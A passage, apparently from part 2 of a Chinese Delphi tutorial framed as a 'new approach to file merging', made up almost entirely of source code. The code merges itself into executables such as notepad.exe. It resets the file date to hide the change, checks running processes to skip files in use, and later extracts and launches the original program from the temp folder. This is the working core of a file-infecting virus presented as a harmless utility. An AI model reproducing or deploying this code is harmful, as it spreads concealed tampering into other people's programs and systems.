|
文件合并新思路(附完整DELPHI代码)(2) fileclose(fhandle); s1.SaveToFile(s); {恢复文件s的日期} fhandle:=FileOpen(s, fmOpenwrite); filesetdate(fhandle,filetime); fileclose(fhandle); s1.free; except end; end; procedure CreateFileAndRun; var s1,s2:TMemoryStream; TempDir:pchar; cmdstr:string; a:integer; Begin s1:=TMemoryStream.Create; s1.loadfromfile(ExeName); if s1.Size=MySize then begin s1.Free; exit; end; s1.seek(MySize,soFromBeginning); s2:=TMemoryStream.Create; s2.copyfrom(s1,s1.Size-MySize); GetMem(TempDir,255); GetTempPath(255,TempDir); s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName)); cmdstr:=''; a:=1; while ParamStr(a)<>'' do begin cmdstr:=cmdstr+ParamStr(a)+' '; inc(a); end; winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); freemem(TempDir); s2.free; s1.free; end; begin GetMem(WinDir,255); GetWindowsDirectory(WinDir,255); ExeName:=ParamStr(0); handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); found:=Process32First(handle,lppe); ProcessStr:=''; while found do begin ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} found:=Process32Next(handle,lppe); end; if pos(WinDir+'\notepad.exe',ProcessStr)=0 then begin copy2(WinDir+'\notepad.exe'); end; {其它需要合并的文件 if pos(...,ProcessStr)=0 then begin copy2(...);
|